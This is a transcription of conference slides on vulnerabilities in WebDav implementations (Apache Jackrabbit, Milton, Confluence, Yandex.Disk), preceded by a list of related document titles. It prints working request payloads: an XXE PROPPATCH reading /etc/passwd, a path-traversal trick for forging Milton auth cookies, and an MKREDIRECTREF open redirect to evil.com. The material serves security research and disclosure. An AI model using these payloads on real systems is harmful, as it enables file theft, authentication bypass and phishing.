What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations



Similar documents
How to scan/exploit a ssl based webserver. by xxradar. mailto:xxradar@radarhack.com. Version 1.

ORM2Pwn: Exploiting injections in Hibernate ORM

JBoss security: penetration, protection and patching. David Jorm

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Application Security

Pre-authentication XXE vulnerability in the Services Drupal module

Configuring CQ Security

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Securing ios Applications. Dr. Bruce Sams, OPTIMAbit GmbH

CAD WEBDAV ADAPTOR: PREMISE FOR A LIGHT PLM SOLUTION

Certified Secure Web Application Secure Development Checklist

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Subversion, WebDAV, and Apache HTTP Server 2.0

Web Application Security Assessment and Vulnerability Mitigation Tests

Chapter 1 Web Application (In)security 1

Server-side OSGi with Apache Sling. Felix Meschberger Day Management AG 124

Certified Secure Web Application Security Test Checklist

Windows Client/Server Local Area Network (LAN) System Security Lab 2 Time allocation 3 hours

Threat Advisory: Atlassian Crowd (CVE )

Where every interaction matters.

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Adobe Systems Incorporated

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

What is Web Security? Motivation

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

MANAGED SECURITY TESTING

NextRow - AEM Training Program Course Catalog

The Prevalence of Flash Vulnerabilities on the Web

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Comparing Application Security Tools

ModSecurity as Universal Cross-platform Web Protection Tool

Crawl Proxy Installation and Configuration Guide

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Hacking cookies in modern web applications and browsers

Web-Application Security

Using RDF Metadata To Enable Access Control on the Social Semantic Web

Web Application Report

SSL and Browsers: The Pillars of Broken Security

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Secure Coding in Node.js

Essential IT Security Testing

Top Ten Web Attacks. Saumil Shah Net-Square. BlackHat Asia 2002, Singapore

DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES

Apache based WebDAV Server with LDAP and SSL

Testing the OWASP Top 10 Security Issues

Blackbox Reversing of XSS Filters

Enterprise Application Security Workshop Series

OWASP AND APPLICATION SECURITY

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Web Application Vulnerability Testing with Nessus

(WAPT) Web Application Penetration Testing

The Top Web Application Attacks: Are you vulnerable?

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

How To Fix A Snare Server On A Linux Server On An Ubuntu (Amd64) (Amd86) (For Ubuntu) (Orchestra) (Uniden) (Powerpoint) (Networking

Mobile Security Framework

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Snare System Version Release Notes

DISCOVERY OF WEB-APPLICATION VULNERABILITIES USING FUZZING TECHNIQUES

dotdefender for IIS User Guide dotdefender for IIS - Manual Version 1.0

SSA : Multiple Vulnerabilities in WinCC flexible and WinCC V11 (TIA Portal)

Grandstream Networks, Inc.

Ethical Hacking as a Professional Penetration Testing Technique

Application Security: What Does it Take to Build and Test a Trusted App? John Dickson, CISSP Denim Group

Managing XML Documents Versions and Upgrades with XSLT

Web Application Security

OWASP Web Application Penetration Checklist. Version 1.1

Gateway Apps - Security Summary SECURITY SUMMARY

Criteria for web application security check. Version

Hack Proof Your Webapps

Magento Security and Vulnerabilities. Roman Stepanov

Product Documentation. Preliminary Evaluation of the OpenSSL Security Advisory (0.9.8 and 1.0.1)

ATTACKS ON CLOUD COMPUTING. Nadra Waheed

APPLICATION SECURITY: FROM WEB TO MOBILE. DIFFERENT VECTORS AND NEW ATTACK

ICE Trade Vault. Public User & Technology Guide June 6, 2014

THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS

Web Application Firewall Policy File Specification

An Insight into Cookie Security

HP WebInspect Tutorial

A Roadmap for Securing IIS 5.0

AJAX Storage: A Look at Flash Cookies and Internet Explorer Persistence

2013 MONITORAPP Co., Ltd.

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

How To Fix A Web Application Security Vulnerability

Amadeus Shaping the future of travel

SAMSUNG SMARTTV: HOW-TO TO CREATING INSECURE DEVICE IN TODAY S WORLD. Sergey Belov

Apache Sling A REST-based Web Application Framework Carsten Ziegeler cziegeler@apache.org ApacheCon NA 2014

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

KEN VAN WYK. Fundamentals of Secure Coding and how to break Software MARCH 19-23, 2007 RESIDENZA DI RIPETTA - VIA DI RIPETTA, 231 ROME (ITALY)

PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling

Web Vulnerability Scanner v9 User Manual

Web Application Security

Web Vulnerability Assessment Report

DeltaV: Adding Versioning to the Web

Transcription:

What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations Mikhail Egorov

Short BIO Mikhail Egorov Application Security Engineer at Odin [ http://www.odin.com ] Security researcher and bug hunter Graduated from BMSTU with MSc. in Information Security [ IU8 ] Holds OSCP and CISSP certificates See my blog [ http://0ang3el.blogspot.com ]

WebDav is complex Many standards that prescribes how to implement various WebDav methods RFC 4918, RFC 3253, RFC 3648, RFC 3744, RFC 5323, RFC 4437, RFC 5842 Many WebDav methods OPTIONS, TRACE, GET, HEAD, POST, PUT, DELETE, COPY, MOVE, PROPPATCH, PROPFIND, MKCOL, LOCK, UNLOCK, SEARCH, BIND, UNBIND, REBIND, MKREDIRECTREF, UPDATEREDIRECTREF, ORDERPATCH, ACL, REPORT Different Webdav implementations

Generic approach Try various XXE attacks Issue OPTIONS requests and see what interesting methods are supported by WebDav library Try attack that follows from security considerations section of RFCs and common sense for all interesting methods Observe source code, if available, to find various implementation flaws

WebDav XXE attacks Methods PROPPATCH, PROPFIND, LOCK, etc. accept XML as input Especially Java implementations are vulnerable

Apache Jacrabbit WebDav XXE CVE-2015-1833 [ http://www.securityfocus.com/archive/1/535582 ] Exploit code [ https://www.exploit-db.com/exploits/37110/ ] Video PoC [ https://www.youtube.com/watch?v=hg3axog89gs ]

Milton WebDav XXE CVE-2015-7326 [ http://www.securityfocus.com/archive/1/536813 ]

cloudme.com XXE CloudMe is a secure European service that makes your life a little bit easier. With CloudMe you don t have to think twice about where your files are, they re always with you https://webdav.cloudme.com is vulnerable WebDav endpoint

Apache Sling OOXML parsing XXE Apache Tika OSGi bundle to parse documents Apache POI is used to parse OOXML documents Apache POI library XXE [ https://access.redhat.com/security/cve/cve-2014-3529 ]

Apache Jackrabbit WebDav CSRF JCR-3909 [ https://issues.apache.org/jira/browse/jcr-3909 ] POST request is allowed and treated as PUT There is Refer-based CSRF protection, but empty Referer bypasses it Could be used to mount XXE attack for systems in the internal network!

Exploiting WebDav XXE tricks Create resource PUT /resource HTTP/1.1 Hack Write content of the file to a property of the resource with PROPPATCH method PROPPATCH /resource HTTP/1.1 <?xml version= 1.0 encoding= UTF-8?> <!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM file:///etc/passwd > ]> <D:propertyupdate xmlns:d= DAV: ><D:set><D:prop> <a xmlns= http://this.is.xxe.baby >&loot;</a> </D:prop></D:set></D:propertyupdate>

Exploiting WebDav XXE tricks Read property with content of the file with PROPFIND method PROPFIND /resource HTTP/1.1 <?xml version= 1.0 encoding= UTF-8?> <propfind xmlns= DAV: ><prop> <q:a xmlns:q= http://this.is.xxe.baby /> </prop></propfind>

Exploiting WebDav XXE tricks OOB XXE will work with any method that supports XML input When general external entities are prohibited SSRF attack will work with any method that supports XML input When only external DTDs are allowed

Milton WebDav AUTHN bypass Cookie AUTHN [ preferred method in Windows, from Win7 ] miltonuserurl=/users/admin/;path=/;expires=thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000 miltonuserurlhash=0.884150694443924:9c74dc9fb62c2926c911ce07b5e7dcb2;path=/;expires=thu, 06-Mar-2014 20:55:23 GMT;Max-Age=31536000;HttpOnly Cookie is signed using HMAC-SHA1 key is in keys.txt file stored in java.io.tmpdir directory Path traversal in Destination header of MOVE and COPY requests http://127.0.0.1:8080/../../../../../../../../../../_dav/hack/tmp We can overwrite keys.txt file After app server restart we can craft valid cookies

Confluence WebDav DoS attack Based on Apache Jackrabbit WebDav code Supports Depth: infinity header in PROPFIND request Allows DOCTYPE declaration Billion Laughs like attack, but with limited number [ 64000 ] of entity expansions, is possible Xerces-J library vulnerable to CVE-2013-4002 have been used https://jira.atlassian.com/browse/conf-37991

Yandex.Disk invalidated redirect WebDav access to Yandex.Disk http://webdav.yandex.ru Supports MKREDIRECTREF request It is possible to create resource that will redirect the victim from Yandex.Disk to arbitrary site MKREDIRECTREF /good.txt HTTP/1.1 Host: webdav.yandex.ru <?xml version="1.0" encoding="utf-8"?> <D:mkredirectref xmlns:d="dav:"> <D:reftarget> <D:href>http://evil.com</D:href> </D:reftarget> </D:mkredirectref>

Takeaways WebDav is a complex protocol, it extends attack surface of your system WebDav-related RFCs have security considerations parts, unfortunately, many WebDav implementations ignore security considerations WebDav libraries in Java suffers from XXE issues, because most XML parsers in Java are insecure in default configuration

Questions????